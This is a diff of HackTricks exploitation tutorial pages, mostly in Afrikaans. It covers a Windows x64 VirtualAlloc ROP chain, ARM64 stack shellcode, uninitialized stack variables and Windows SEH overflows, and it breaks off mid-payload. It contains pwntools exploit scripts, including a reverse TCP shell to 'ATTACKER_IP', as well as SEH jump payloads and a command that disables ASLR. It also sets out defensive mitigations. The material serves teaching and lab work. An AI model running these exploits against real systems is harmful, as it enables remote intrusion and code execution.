+Op moderne Windows is die stack nie-uitvoerbaar nie (DEP/NX). ’n Algemene manier om steeds stack-residente shellcode uit te voer ná ’n stack BOF, is om ’n 64-bis ROP chain te bou wat VirtualAlloc (of VirtualProtect) vanuit die module se Import Address Table (IAT) oproep om ’n gedeelte van die stack uitvoerbaar te maak, en dan terug te keer na shellcode wat ná die chain geplaas is.[[6]](#references)
-- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **should be disabled** for the address to be reliable across executions or the address where the function will be stored won't be always the same and you would need some leak in order to figure out where is the win function loaded.
-- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) should be also disabled or the compromised EIP return address won't never be followed.
-- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** protection would prevent the execution of the shellcode inside the stack because that region won't be executable.
+Sleutelpunte (Win64 calling convention):
+- VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)[[7]](#references)
+- RCX = lpAddress → kies ’n adres in die huidige stack (bv. RSP) sodat die nuut geallokeerde RWX-streek jou payload oorvleuel
+- RDX = dwSize → groot genoeg vir jou chain + shellcode (bv. 0x1000)
+- R8 = flAllocationType = MEM_COMMIT (0x1000)
+- R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40)
+- Keer direk terug na die shellcode wat onmiddellik ná die chain geplaas is.
-## Other Examples & References
+Minimale strategie:
+1) Leak ’n module base (bv. via ’n format-string, object pointer, ens.) om absolute gadget- en IAT-adresse onder ASLR te bereken.
+2) Vind gadgets om RCX/RDX/R8/R9 te laai (pop- of mov/xor-gebaseerde sequences) en ’n call/jmp [VirtualAlloc@IAT]. Indien jy nie direkte pop r8/r9 het nie, gebruik arithmetic gadgets om konstantes te sintetiseer (bv. stel r8=0 en voeg r9=0x40 herhaaldelik veertig keer by om 0x1000 te bereik).
+3) Plaas stage-2 shellcode onmiddellik ná die chain.
-- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
-- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
- - 64bit, ASLR with stack address leak, write shellcode and jump to it
-- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
- - 32 bit, ASLR with stack leak, write shellcode and jump to it
-- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
- - 32 bit, ASLR with stack leak, comparison to prevent call to exit(), overwrite variable with a value and write shellcode and jump to it
-- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
- - arm64, no ASLR, ROP gadget to make stack executable and jump to shellcode in stack
+Voorbeelduitleg (konseptueel):
+```
+# ... padding up to saved RIP ...
+# R9 = 0x40 (PAGE_EXECUTE_READWRITE)
+POP_R9_RET; 0x40
+# R8 = 0x1000 (MEM_COMMIT) — if no POP R8, derive via arithmetic
+POP_R8_RET; 0x1000
+# RCX = &stack (lpAddress)
+LEA_RCX_RSP_RET # or sequence: load RSP into a GPR then mov rcx, reg
+# RDX = size (dwSize)
+POP_RDX_RET; 0x1000
+# Call VirtualAlloc via the IAT
+[IAT_VirtualAlloc]
+# New RWX memory at RCX — execution continues at the next stack qword
+JMP_SHELLCODE_OR_RET
+# ---- stage-2 shellcode (x64) ----
+```
+Met ’n beperkte gadget-stel kan jy registerwaardes indirek konstrueer, byvoorbeeld:
+- mov r9, rbx; mov r8, 0; add rsp, 8; ret → stel r9 vanaf rbx, maak r8 nul, en kompenseer die stack met ’n junk qword.
+- xor rbx, rsp; ret → inisialiseer rbx met die huidige stack pointer.
+- push rbx; pop rax; mov rcx, rax; ret → skuif ’n RSP-afgeleide waarde na RCX.
+
+Pwntools-sketse (gegewe ’n bekende base en gadgets):
+```python
+from pwn import *
+base = 0x7ff6693b0000
+IAT_VirtualAlloc = base + 0x400000 # example: resolve via reversing
+rop = b''
+# r9 = 0x40
+rop += p64(base+POP_RBX_RET) + p64(0x40)
+rop += p64(base+MOV_R9_RBX_ZERO_R8_ADD_RSP_8_RET) + b'JUNKJUNK'
+# rcx = rsp
+rop += p64(base+POP_RBX_RET) + p64(0)
+rop += p64(base+XOR_RBX_RSP_RET)
+rop += p64(base+PUSH_RBX_POP_RAX_RET)
+rop += p64(base+MOV_RCX_RAX_RET)
+# r8 = 0x1000 via arithmetic if no pop r8
+for _ in range(0x1000//0x40):
+rop += p64(base+ADD_R8_R9_ADD_RAX_R8_RET)
+# rdx = 0x1000 (use any available gadget)
+rop += p64(base+POP_RDX_RET) + p64(0x1000)
+# call VirtualAlloc and land in shellcode
+rop += p64(IAT_VirtualAlloc)
+rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT))
+```
+Wenke:
+- VirtualProtect werk soortgelyk indien dit verkieslik is om ’n bestaande buffer RX te maak; die parameterorde verskil.
+- Indien die stack-spasie beperk is, allokeer RWX elders (RCX=NULL) en jmp na daardie nuwe area in plaas daarvan om die stack te hergebruik.
+- Hou altyd rekening met gadgets wat RSP aanpas (bv. add rsp, 8; ret) deur junk qwords in te voeg.
+
+
+- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **moet gedeaktiveer wees** sodat die adres betroubaar oor uitvoerings heen is; anders sal die adres waar die funksie gestoor word nie altyd dieselfde wees nie, en jy sal ’n leak nodig hê om uit te vind waar die win-funksie gelaai is.
+- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) moet ook gedeaktiveer wees, anders sal die gekompromitteerde EIP-return address nooit gevolg word nie.
+- **NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack**-beskerming sal die uitvoering van die shellcode binne die stack voorkom, omdat daardie area nie uitvoerbaar sal wees nie.
+
+## Verwysings
+
+- [1] [ir0nstone's Notes - Shellcode (Stack)](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
+- [2] [guyinatuxedo - csaw17_pilot writeup](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
+- 64bit, ASLR met stack address leak, skryf shellcode en jmp daarheen
+- [3] [guyinatuxedo - tamu19_pwn3 writeup](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
+- 32 bit, ASLR met stack leak, skryf shellcode en jmp daarheen
+- [4] [guyinatuxedo - tu18_shellaeasy writeup](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
+- 32 bit, ASLR met stack leak, vergelyking om ’n oproep na exit() te voorkom, oorskryf ’n veranderlike met ’n waarde en skryf shellcode en jmp daarheen
+- [5] [8kSec - ARM64 Reversing and Exploitation Part 4: Using mprotect to Bypass NX Protection](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
+- arm64, geen ASLR, ROP-gadget om die stack uitvoerbaar te maak en jmp na shellcode in die stack
+- [6] [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
+- [7] [VirtualAlloc documentation](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc)
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md b/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md
index 3ad3e61acef..273c238979d 100644
--- a/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md
+++ b/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md
@@ -2,56 +2,68 @@
{{#include ../../../banners/hacktricks-training.md}}
-Find an introduction to arm64 in:
+Vind 'n inleiding tot arm64 in:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
-## Code
+## Linux
+### Code
```c
#include
#include
void vulnerable_function() {
- char buffer[64];
- read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
+char buffer[64];
+read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
- vulnerable_function();
- return 0;
+vulnerable_function();
+return 0;
}
```
-
-Compile without pie, canary and nx:
-
+Kompileer sonder pie, canary, NX en AArch64 branch protection:
```bash
-clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
+clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack -mbranch-protection=none
```
+Vinnige sanity checks:
+```bash
+checksec --file ./bof
+readelf -W -l ./bof | grep GNU_STACK
+readelf --notes -W ./bof | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'
+```
+As jy steeds PAC/BTI-notas of prologues soos `paciasp` / `autiasp` sien, kan die klassieke saved-`x30` overwrite misluk voordat dit jou stack payload bereik.[[2]](#references)
+
+### AArch64 shellcode-herinnerings
-## No ASLR & No canary - Stack Overflow
+- Linux syscalls stuur argumente in **`x0`** tot **`x7`**, plaas die syscall number in **`x8`**, en aktiveer die oorgang met **`svc #0`**.[[1]](#references)
+- AArch64-instruksies is altyd **4 bytes**, dus bestaan ’n NOP sled gewoonlik uit herhaalde `nop`-instruksies (`0xd503201f`, bytes `\x1f\x20\x03\xd5`) in plaas van x86 se enkel-byte `\x90`.
+- Shellcode is gewoonlik **position independent** en gebruik algemeen `adr` / `adrp`-styl addressing om ingebedde strings soos `/bin/sh` te bereik.[[1]](#references)
-To stop ASLR execute:
+### Geen ASLR & Geen canary - Stack Overflow
+Om ASLR te stop, voer uit:
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
-
-To get the [**offset of the bof check this link**](../ret2win/ret2win-arm64.md#finding-the-offset).
+Om die [**offset van die bof te kry, kyk na hierdie skakel**](../ret2win/ret2win-arm64.md#finding-the-offset).
Exploit:
-
```python
from pwn import *
# Load the binary
binary_name = './bof'
elf = context.binary = ELF(binary_name)
+context.arch = 'aarch64'
+context.os = 'linux'
# Generate shellcode
shellcode = asm(shellcraft.sh())
+nop_sled = b"\x1f\x20\x03\xd5" * 32
# Start the process
p = process(binary_name)
@@ -63,7 +75,7 @@ offset = 72
ret_address = p64(0xfffffffff1a0)
# Craft the payload
-payload = b'A' * offset + ret_address + shellcode
+payload = b'A' * offset + ret_address + nop_sled + shellcode
print("Payload length: "+ str(len(payload)))
@@ -73,9 +85,34 @@ p.send(payload)
# Drop to an interactive session
p.interactive()
```
+Die enigste "ingewikkelde" ding om hier te vind, sal die adres op die stack wees wat geroep moet word. In my geval het ek die exploit gegenereer met die adres wat met gdb gevind is, maar toe ek dit probeer uitvoer, het dit nie gewerk nie (omdat die stack-adres effens verander het).
-The only "complicated" thing to find here would be the address in the stack to call. In my case I generated the exploit with the address found using gdb, but then when exploiting it it didn't work (because the stack address changed a bit).
+’n Praktiese werkvloei is:
+```bash
+ulimit -c unlimited
+./bof < payload
+gdb -q ./bof core
+```
+Inspekteer dan die werklike landing-adres van die NOP sled / shellcode binne die gegenereerde **`core`**-lêer. As jy ’n core direk vanaf ’n lewende inferior in GDB moet dump, is `generate-core-file` / `gcore` ook handig.
+
+As **NX** geaktiveer is, is ret2shellcode nie meer die eerste keuse nie. Op ARM64 is die algemene volgende stap om ’n klein [**ret2syscall**](../../rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md)- of `mprotect()`-ketting te bou om ’n bladsy na `RWX` te verander, en dan na die shellcode te spring. Onthou dat `mprotect()` ’n **page-aligned** basisadres verwag. Vir meer konteks oor NX-bypasses, kyk na [**hierdie bladsy**](../../common-binary-protections-and-bypasses/no-exec-nx.md).
+
+Op nuwer Armv8.5-A userlands (veral Android-gerigte labs) kan **MTE** ook die *overflow-stadium self* breek: gemerkte geheue word per **16-byte granule** nagegaan, en ’n tag-mismatch kan `SIGSEGV` veroorsaak voordat jy ooit na shellcode pivot. As ’n teiken `HWCAP2_MTE` / `PROT_MTE` blootstel, hanteer dit as ’n afsonderlike hindernis en kyk na die toegewyde [**MTE-bladsy**](../../common-binary-protections-and-bypasses/memory-tagging-extension-mte.md).
+
+## macOS
+
+> [!TIP]
+> ’n Normale macOS arm64-proses kan nie sy stack uitvoerbaar maak deur die Linux `-z execstack`-workflow nie. macOS dwing W^X/code-signing-beleid af, en oorgange van skryfbaar na uitvoerbaar, soos JIT-mappings, vereis platform-spesifieke API’s en, vir hardened applications, toepaslike entitlements. Gevolglik pivot moderne stack exploitation gewoonlik na bestaande uitvoerbare kode (ROP/JOP) in plaas van rou stack shellcode.[[3]](#references)
+
+Kyk na ’n macOS ret2win-voorbeeld in:
+
+{{#ref}}
+../ret2win/ret2win-arm64.md
+{{#endref}}
-I opened the generated **`core` file** (`gdb ./bog ./core`) and checked the real address of the start of the shellcode.
+## References
+- [1] [ARM64 Omkering en Exploitation Deel 5 – Shellcode skryf](https://8ksec.io/arm64-reversing-and-exploitation-part-5-writing-shellcode-8ksec-blogs/)
+- [2] [PAC en BTI op AArch64 vir Linux aktiveer](https://developer.arm.com/community/arm-community-blogs/b/architectures-and-processors-blog/posts/enabling-pac-and-bti-on-aarch64)
+- [3] [Apple — Hardened Runtime](https://developer.apple.com/documentation/security/hardened-runtime)
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/stack-overflow/uninitialized-variables.md b/src/binary-exploitation/stack-overflow/uninitialized-variables.md
index 6cde48beee4..b83867bc6b8 100644
--- a/src/binary-exploitation/stack-overflow/uninitialized-variables.md
+++ b/src/binary-exploitation/stack-overflow/uninitialized-variables.md
@@ -1,68 +1,110 @@
-# Uninitialized Variables
+# Ongeïnitialiseerde veranderlikes
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## Basiese inligting
-The core idea here is to understand what happens with **uninitialized variables as they will have the value that was already in the assigned memory to them.** Example:
+'n Outomatiese C-veranderlike wat nie geïnitialiseer is nie, het 'n **onbepaalde waarde**. Die evaluering van daardie waarde kan ongedefinieerde gedrag wees, dus waarborg die taal nie dat dit 'n vorige stack-waarde bevat, dat twee funksies dieselfde adres hergebruik, of selfs dat die compiler die oënskynlike leesbewerking genereer nie. In kwesbare binaries kan hergebruikte stack-berging egter verouderde data blootlê wanneer die gegenereerde kode grepe kopieer of terugstuur wat nooit geïnitialiseer is nie.[[4]](#references)
-- **Function 1: `initializeVariable`**: We declare a variable `x` and assign it a value, let's say `0x1234`. This action is akin to reserving a spot in memory and putting a specific value in it.
-- **Function 2: `useUninitializedVariable`**: Here, we declare another variable `y` but do not assign any value to it. In C, uninitialized variables don't automatically get set to zero. Instead, they retain whatever value was last stored at their memory location.
+- **Funksie 1: `initializeVariable`**: Ons verklaar 'n veranderlike `x` en ken 'n waarde daaraan toe, byvoorbeeld `0x1234`. Hierdie handeling is soortgelyk aan die reservering van 'n plek in geheue en die plasing van 'n spesifieke waarde daarin.
+- **Funksie 2: `useUninitializedVariable`**: Hier verklaar ons nog 'n outomatiese veranderlike `y`, maar ken nie 'n waarde daaraan toe nie. Dit word nie outomaties na nul geïnitialiseer nie; die waarde daarvan is onbepaald eerder as 'n voorspelbare kopie van 'n vroeëre veranderlike.
-When we run these two functions **sequentially**:
+Wanneer hierdie twee funksies **opeenvolgend** loop, kan 'n spesifieke ongeoptimaliseerde build dieselfde stack-gleuf hergebruik:
-1. In `initializeVariable`, `x` is assigned a value (`0x1234`), which occupies a specific memory address.
-2. In `useUninitializedVariable`, `y` is declared but not assigned a value, so it takes the memory spot right after `x`. Due to not initializing `y`, it ends up "inheriting" the value from the same memory location used by `x`, because that's the last value that was there.
+1. In `initializeVariable` word 'n waarde (`0x1234`) aan `x` toegeken, wat 'n spesifieke geheueadres beset.
+2. In `useUninitializedVariable` kan `y` dieselfde stack-gleuf beset, en verouderde grepe kan in 'n waargenome build verskyn. Dit is 'n demonstrasie-artefak en nie gedrag waarop draagbare C-kode kan staatmaak nie.
-This behavior illustrates a key concept in low-level programming: **Memory management is crucial**, and uninitialized variables can lead to unpredictable behavior or security vulnerabilities, as they may unintentionally hold sensitive data left in memory.
+Hierdie gedrag illustreer 'n sleutelkonsep in laevlakprogrammering: **Geheueb bestuur is uiters belangrik**, en ongeïnitialiseerde veranderlikes kan tot onvoorspelbare gedrag of security vulnerabilities lei, omdat hulle moontlik onbedoeld sensitiewe data bevat wat in geheue agtergebly het.
-Uninitialized stack variables could pose several security risks like:
+Ongeïnitialiseerde stack-veranderlikes kan verskeie security risks inhou, soos:
-- **Data Leakage**: Sensitive information such as passwords, encryption keys, or personal details can be exposed if stored in uninitialized variables, allowing attackers to potentially read this data.
-- **Information Disclosure**: The contents of uninitialized variables might reveal details about the program's memory layout or internal operations, aiding attackers in developing targeted exploits.
-- **Crashes and Instability**: Operations involving uninitialized variables can result in undefined behavior, leading to program crashes or unpredictable outcomes.
-- **Arbitrary Code Execution**: In certain scenarios, attackers could exploit these vulnerabilities to alter the program's execution flow, enabling them to execute arbitrary code, which might include remote code execution threats.
-
-### Example
+- **Data Leakage**: Sensitiewe inligting soos wagwoorde, encryption keys of persoonlike besonderhede kan blootgelê word as dit in ongeïnitialiseerde veranderlikes gestoor word, wat aanvallers moontlik in staat stel om hierdie data te lees.
+- **Information Disclosure**: Die inhoud van ongeïnitialiseerde veranderlikes kan besonderhede oor die program se geheue-uitleg of interne werkinge openbaar, wat aanvallers help om geteikende exploits te ontwikkel.
+- **Crashes and Instability**: Bewerkings met ongeïnitialiseerde veranderlikes kan tot undefined behavior lei, wat programcrashes of onvoorspelbare uitkomste veroorsaak.
+- **Arbitrary Code Execution**: In sekere scenario's kan aanvallers hierdie vulnerabilities uitbuit om die program se execution flow te verander, sodat hulle arbitrary code kan uitvoer, wat moontlik remote code execution threats insluit.
+### Voorbeeld
```c
#include
// Function to initialize and print a variable
void initializeAndPrint() {
- int initializedVar = 100; // Initialize the variable
- printf("Initialized Variable:\n");
- printf("Address: %p, Value: %d\n\n", (void*)&initializedVar, initializedVar);
+int initializedVar = 100; // Initialize the variable
+printf("Initialized Variable:\n");
+printf("Address: %p, Value: %d\n\n", (void*)&initializedVar, initializedVar);
}
// Function to demonstrate the behavior of an uninitialized variable
void demonstrateUninitializedVar() {
- int uninitializedVar; // Declare but do not initialize
- printf("Uninitialized Variable:\n");
- printf("Address: %p, Value: %d\n\n", (void*)&uninitializedVar, uninitializedVar);
+int uninitializedVar; // Declare but do not initialize
+printf("Uninitialized Variable:\n");
+printf("Address: %p, Value: %d\n\n", (void*)&uninitializedVar, uninitializedVar);
}
int main() {
- printf("Demonstrating Initialized vs. Uninitialized Variables in C\n\n");
+printf("Demonstrating Initialized vs. Uninitialized Variables in C\n\n");
+
+// First, call the function that initializes its variable
+initializeAndPrint();
+
+// Then, call the function that has an uninitialized variable
+demonstrateUninitializedVar();
+
+return 0;
+}
+```
+#### Hoe Dit Werk
- // First, call the function that initializes its variable
- initializeAndPrint();
+- **`initializeAndPrint` Function**: Hierdie function declareer ’n integer-veranderlike `initializedVar`, ken die waarde `100` daaraan toe, en druk dan beide die memory address en die waarde van die veranderlike. Hierdie stap is eenvoudig en wys hoe ’n geïnisialiseerde veranderlike optree.
+- **`demonstrateUninitializedVar` Function**: Hierdie function declareer `uninitializedVar` sonder om dit te initialiseer. Deur sy waarde aan `printf` deur te gee, word undefined behavior veroorsaak. In ’n eenvoudige ongeoptimaliseerde build kan die output soos stale stack data lyk, terwyl ’n ander compiler of optimization level ’n ander waarde kan produseer, dit as ’n hardening-maatreël kan initialiseer, of die code op ’n onverwagte manier kan optimizeer.[[4]](#references)
+- **`main` Function**: Die `main` function roep albei bogenoemde functions in volgorde aan en demonstreer die kontras tussen ’n geïnisialiseerde veranderlike en ’n ongeïnisialiseerde een.
- // Then, call the function that has an uninitialized variable
- demonstrateUninitializedVar();
+## Praktiese Exploitation Patterns
- return 0;
+Die klassieke "read-before-write"-bug bly relevant omdat moderne mitigations (ASLR, canaries) dikwels op secrecy staatmaak. Tipiese attack surfaces:
+
+- **Gedeeltelik geïnisialiseerde structs wat na userland gekopieer word**: Kernel- of drivers-kode gebruik gereeld `memset` slegs op ’n length field en voer dan `copy_to_user(&u, &local_struct, sizeof(local_struct))` uit. Padding en ongebruikte fields leak helftes van stack canaries, saved frame pointers of kernel pointers. As die struct ’n function pointer bevat, kan dit ook ’n **controlled overwrite** moontlik maak wanneer dit later hergebruik word.[[2]](#references)
+- **Ongeïnisialiseerde stack buffers wat as indexes/lengths hergebruik word**: ’n Ongeïnisialiseerde `size_t len;` wat gebruik word om `read(fd, buf, len)` te begrens, kan attackers out-of-bounds reads/writes gee of dit moontlik maak om size checks te bypass wanneer die stack slot steeds ’n groot waarde van ’n vorige call bevat.
+- **Compiler-added padding**: Selfs wanneer individuele members geïnisialiseer word, word implicit padding bytes tussen hulle nie geïnisialiseer nie. Deur die hele struct na userland te kopieer, word padding wat dikwels vorige stack content bevat (canaries, pointers), geleak.
+- **ROP/Canary disclosure**: As ’n function ’n local struct na stdout kopieer vir debugging, kan ongeïnisialiseerde padding die stack canary onthul, wat daaropvolgende stack overflow exploitation sonder brute-force moontlik maak.
+
+Minimale PoC-patroon om sulke issues tydens review op te spoor:
+```c
+struct msg {
+char data[0x20];
+uint32_t len;
+};
+
+ssize_t handler(int fd) {
+struct msg m; // never fully initialized
+m.len = read(fd, m.data, sizeof(m.data));
+// later debug helper
+write(1, &m, sizeof(m)); // leaks padding + stale stack
+return m.len;
}
```
+## Versagtings en Compiler-opsies
+
+- **Clang/GCC auto-init**: Onlangse toolchains stel `-ftrivial-auto-var-init=zero` of `-ftrivial-auto-var-init=pattern` bloot, wat *elke* outomatiese (stack-)veranderlike by funksie-inskrywing met nulle of ’n poison pattern (0xAA / 0xFE) vul. Dit sluit die meeste uninitialized-stack info leaks en maak exploitation moeiliker deur secrets na bekende waardes om te skakel.
+- **Linux kernel hardening**: Kernels wat met `CONFIG_INIT_STACK_ALL` of die nuwer `CONFIG_INIT_STACK_ALL_PATTERN` gebou is, zero/pattern-initialize elke stack-slot by funksie-inskrywing, en vee canaries/pointers uit wat andersins sou lek. Kyk uit vir distros wat Clang-built kernels met hierdie opsies geaktiveer versend (algemeen in 6.8+ hardening configs).[[1]](#references)
+- **Opt-out attributes**: Clang laat nou `__attribute__((uninitialized))` op spesifieke locals/structs toe om performance-critical areas uninitialized te hou, selfs wanneer global auto-init geaktiveer is. Hersien sulke annotations sorgvuldig—hulle merk dikwels doelbewuste attack surface vir side channels.
+
+Vanuit ’n attacker-perspektief bepaal kennis van of die binary met hierdie flags gebou is of stack-leak primitives viable is, of en of jy na heap/data-section disclosures moet pivot.
+
+## Vind uninitialized-stack bugs vinnig
-#### How This Works:
+- **Compiler diagnostics**: Bou met `-Wall -Wextra -Wuninitialized` (GCC/Clang). Vir C++-code sal `clang-tidy -checks=cppcoreguidelines-init-variables` baie gevalle outomaties na zero-init regmaak en is dit nuttig om gemiste locals tydens ’n audit raak te sien.
+- **Dynamic tools**: `-fsanitize=memory` (MSan) in Clang of Valgrind se `--track-origins=yes` merk reads van uninitialized stack bytes betroubaar tydens fuzzing. Instrumenteer test harnesses hiermee om subtiele padding leaks bloot te lê.
+- **Grepping patterns**: Soek tydens reviews vir `copy_to_user` / `write`-calls van hele structs, of `memcpy`/`send` van stack data waar slegs ’n deel van die struct gestel is. Gee veral aandag aan error paths waar initialization oorgeslaan word.
-- **`initializeAndPrint` Function**: This function declares an integer variable `initializedVar`, assigns it the value `100`, and then prints both the memory address and the value of the variable. This step is straightforward and shows how an initialized variable behaves.
-- **`demonstrateUninitializedVar` Function**: In this function, we declare an integer variable `uninitializedVar` without initializing it. When we attempt to print its value, the output might show a random number. This number represents whatever data was previously at that memory location. Depending on the environment and compiler, the actual output can vary, and sometimes, for safety, some compilers might automatically initialize variables to zero, though this should not be relied upon.
-- **`main` Function**: The `main` function calls both of the above functions in sequence, demonstrating the contrast between an initialized variable and an uninitialized one.
+## ARM64 Voorbeeld
-## ARM64 Example
+Dit verander glad nie in ARM64 nie, aangesien local variables ook in die stack bestuur word; jy kan [**hierdie voorbeeld nagaan**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/) waar dit getoon word.[[3]](#references)
-This doesn't change at all in ARM64 as local variables are also managed in the stack, you can [**check this example**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/) were this is shown.
+## References
+- [1] [CONFIG_INIT_STACK_ALL_PATTERN-dokumentasie](https://www.kernelconfig.io/config_init_stack_all_pattern)
+- [2] [GHSL-2024-197: GStreamer uninitialized stack variable wat tot function pointer overwrite lei](https://securitylab.github.com/advisories/GHSL-2024-197_GStreamer/)
+- [3] [ARM64 Reversing and Exploitation Deel 6: Exploiting van ’n Uninitialized Stack Variable Vulnerability](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/)
+- [4] [SEI CERT C - EXP33-C: Moenie uninitialized memory lees nie](https://wiki.sei.cmu.edu/confluence/display/c/EXP33-C.+Do+not+read+uninitialized+memory)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/stack-overflow/windows-seh-overflow.md b/src/binary-exploitation/stack-overflow/windows-seh-overflow.md
new file mode 100644
index 00000000000..da79c6365e9
--- /dev/null
+++ b/src/binary-exploitation/stack-overflow/windows-seh-overflow.md
@@ -0,0 +1,153 @@
+# Windows SEH-based Stack Overflow Exploitation (nSEH/SEH)
+
+{{#include ../../banners/hacktricks-training.md}}
+
+SEH-based exploitation is ’n klassieke 32-bit Windows-tegniek wat die Structured Exception Handler-ketting wat op die stack gestoor word, misbruik. Wanneer ’n stack buffer overflow die twee vier-byte-velde oorskryf:
+
+- nSEH: pointer na die volgende SEH-record, en
+- SEH: pointer na die exception handler-funksie
+
+kan ’n aanvaller beheer oor uitvoering verkry deur:
+
+1. SEH op die adres van ’n POP POP RET-gadget in ’n module te stel wat met hierdie tegniek versoenbaar is, sodat exception dispatch terugkeer na bytes wat deur die aanvaller beheer word.
+2. nSEH te gebruik om uitvoering te herlei, gewoonlik met ’n kort jump, na die overflowing buffer waar die volgende stage geleë is.
+
+Hierdie tegniek is spesifiek vir 32-bit-prosesse (x86). Gebruik ’n gadget uit ’n module sonder SafeSEH en, vir ’n vaste adres, sonder ASLR. SEHOP kan ook ’n beskadigde exception-ketting verwerp, terwyl DEP ’n aparte code-reuse- of protection-changing-stage vereis voordat injected data kan uitvoer. Bytes soos `0x00`, `0x0a` en `0x0d` (NUL/CR/LF) is algemene bad-character-kandidate vir C-string- en HTTP-parsers, maar hulle moet teen die werklike input path getoets word.[[3]](#references)[[5]](#references)
+
+---
+
+## Finding exact offsets (nSEH / SEH)
+
+- Laat die proses crash en verifieer dat die SEH-ketting oorskryf is (kyk byvoorbeeld in x32dbg/x64dbg na die SEH view).
+- Stuur ’n cyclic pattern as die overflowing data en bereken die offsets van die twee dwords wat in nSEH en SEH land.
+
+Voorbeeld met peda/GEF/pwntools op ’n 1000-byte POST body:[[1]](#references)
+```bash
+# generate pattern (any tool is fine)
+/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
+# or
+python3 -c "from pwn import *; print(cyclic(1000).decode())"
+
+# after crash, note the two 32-bit values from SEH view and compute offsets
+/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x32424163 # nSEH
+/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241 # SEH
+# ➜ offsets example: nSEH=660, SEH=664
+```
+Valideer deur merkers by daardie posisies te plaas (bv. `nSEH=b"BB", SEH=b"CC"`). Hou die totale lengte konstant om die crash reproduceerbaar te maak.
+
+---
+
+## Choosing a POP POP RET (SEH gadget)
+
+Jy benodig ’n POP POP RET-volgorde om die SEH-raamwerk af te wikkel en terug te keer na jou nSEH-bytes. Vind dit in ’n module sonder SafeSEH en ideaal gesproke sonder ASLR:
+
+- Mona (Immunity/WinDbg): `!mona modules` en dan `!mona seh -m modulename`.[[4]](#references)
+- x64dbg-plugin ERC.Xdbg: `ERC --SEH` om POP POP RET-gadgets en SafeSEH-status te lys.[[2]](#references)
+
+Kies ’n adres wat geen badchars bevat wanneer dit little-endian geskryf word nie (bv. `p32(0x004094D8)`). Verkies gadgets binne die kwesbare binary indien die protections dit toelaat.
+
+---
+
+## Jump-back technique (short + near jmp)
+
+nSEH is slegs vier bytes lank, wat pas by ’n twee-byte short jump (`EB xx`) plus padding. As die teiken honderde bytes weg is, plaas ’n vyf-byte near jump onmiddellik voor nSEH en gebruik die short jump om dit te bereik.
+
+Met nasmshell:
+```text
+nasm> jmp -660 ; too far for short; near jmp is 5 bytes
+E967FDFFFF
+nasm> jmp short -8 ; target is 8 bytes before nSEH; encoded displacement is -10
+EBF6
+nasm> jmp -652 ; 8 bytes closer (to account for short-jmp hop)
+E96FFDFFFF
+```
+Uitleg-idee vir ’n 1000-byte payload met nSEH by offset 660:[[1]](#references)
+```python
+buffer_length = 1000
+payload = b"\x90"*50 + shellcode # NOP sled + shellcode at buffer start
+payload += b"A" * (660 - 8 - len(payload)) # pad so we are 8 bytes before nSEH
+payload += b"\xE9\x6F\xFD\xFF\xFF" + b"EEE" # near jmp -652 (5B) + 3B padding
+payload += b"\xEB\xF6" + b"BB" # nSEH: short jmp -8 + 2B pad
